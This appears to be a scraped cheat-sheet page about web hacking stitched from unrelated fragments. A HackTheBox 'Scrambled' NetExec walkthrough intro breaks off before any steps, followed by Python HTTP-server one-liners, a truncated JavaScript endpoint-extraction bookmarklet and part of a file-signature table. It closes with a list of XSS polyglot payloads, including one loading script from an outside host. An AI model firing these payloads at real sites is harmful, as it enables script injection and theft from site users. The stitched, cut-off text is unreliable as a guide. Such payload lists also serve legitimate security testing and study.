webcheating

Scrambled vs NetExec

Let pwn the box Scrambled from HackTheBox using only NetExec ! For context, I was reading Scrambled writeup from 0xdf_ when I read this:

smbclient won’t work, and I wasn’t able to get crackmapexec to work either.

To be fair, at the time of his writeup it was true, but not anymore and it's pretty simple with NXC, 5 minutes and you get root :)

Note: I will pass the web part where we get one username : ksimpson

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

	javascript: (function() {
	var scripts = document.getElementsByTagName("script"),
	regex = /(?<=(\"\|\%27\|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"\|\'\|\%60))/g;
	const results = new Set;
	for (var i = 0; i < scripts.length; i++) {
	var t = scripts[i].src;
	"" != t && fetch(t).then(function(t) {
	return t.text()
	}).then(function(t) {
	var e = t.matchAll(regex);

	{'ascii': '....',
	'description': 'RedHat Package Manager (RPM) package',
	'file_extension': 'rpm',
	'hex': 'ed ab ee db',
	'offset': '0'},
	{'ascii': 'SP01',
	'description': 'Amazon Kindle Update Package',
	'file_extension': 'bin',
	'hex': '53 50 30 31',
	'offset': '0'},

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>